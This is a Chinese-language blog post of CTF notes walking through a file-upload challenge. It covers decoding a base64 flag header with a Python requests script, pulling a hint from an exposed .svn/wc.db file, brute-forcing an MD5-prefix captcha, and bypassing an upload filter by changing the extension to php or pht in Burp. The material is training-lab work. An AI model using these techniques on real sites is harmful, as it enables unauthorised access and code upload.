檔案上傳漏洞CTF筆記
阿新 • • 發佈:2019-02-06
參加i春秋訓練營,根據大佬寫的write up,以下為過程中個人筆記
訪問賽題 URL, 返回包如下
HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 28 Dec 2017 08:19:49 GMT Content-Type: text/html Content-Length: 87 Connection: keep-alive X-Powered-By: PHP/5.5.9-1ubuntu4.19 Set-Cookie: PHPSESSID=uftmhmic9cts56dopv6vf7pjt1; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache flag: ZmxhZ19pc19oZXJlOiBNakkxTXpnMw== Vary: Accept-Encoding Hi,CTFer!u should be a fast man:)<!-- Please post the ichunqiu what you find --
可以看到返回頭中的 flag 字樣, 根據提示構造發包
(使用python編寫的構造發包檔案,獲取返回的text,使用線上構造資料工具只能得到返回的html。經驗啊經驗)
import base64,requests def main(): a = requests.session() b = a.get("**網址連結***") key1 = b.headers["flag"] c = base64.b64decode(key1) d = str(c).split(':') key = base64.b64decode(d[1]) body = {"ichunqiu":key} f = a.post("**網址連結***/",data=body) print f.text if __name__ == '__main__': main()
返回如下
Path:xxxxxxx
訪問 URL+/xxxxxx/
點選跳轉到: action.php?action=login 登入頁面
訪問 URL+/xxxx/.svn/wc.db (SVN 原始碼洩露漏洞)(經驗)
可獲得提示 username is md5(HEL1OW10rDEvery0n3)(使用線上破解工具可得到使用者名稱)
觀察登入頁面得知 captcha 經過 MD5 之後的前六位為 xxxxxx, 所以需要先求得對應的 captcha 才能提交.
寫爆破驗證碼的指令碼(python編寫爆破指令碼,一般ctf比賽驗證碼都是八位數一下的數字組合)
import hashlib def md5(s): return hashlib.md5(str(s).encode('utf-8')).hexdigest() def main(s): for i in range(1,99999999): if md5(i)[0:6] == str(s): print(i) exit(0) if __name__ == '__main__': main("xxxx")
驗證碼: 用爆破指令碼跑
點選 Submit 提交, 彈窗提示, 可以不看, 點確定後檢視頁面原始碼, 找到 alert 函式
xxxxx.php(檔案上傳地址)
貼上到當前目錄下訪問: URL+/xxxx/xxxx.php
選擇一圖片格式檔案上傳, 在火狐瀏覽器新增代理工具FoxyProxy,通過burpsuit與火狐結合截包,改檔案字尾(php或者pht)即可獲得 flag, Content-Type: 務必為 image/jpeg
(檔案內容是文字,也就是沒真正web攻擊的小白我才會上傳圖片,哭)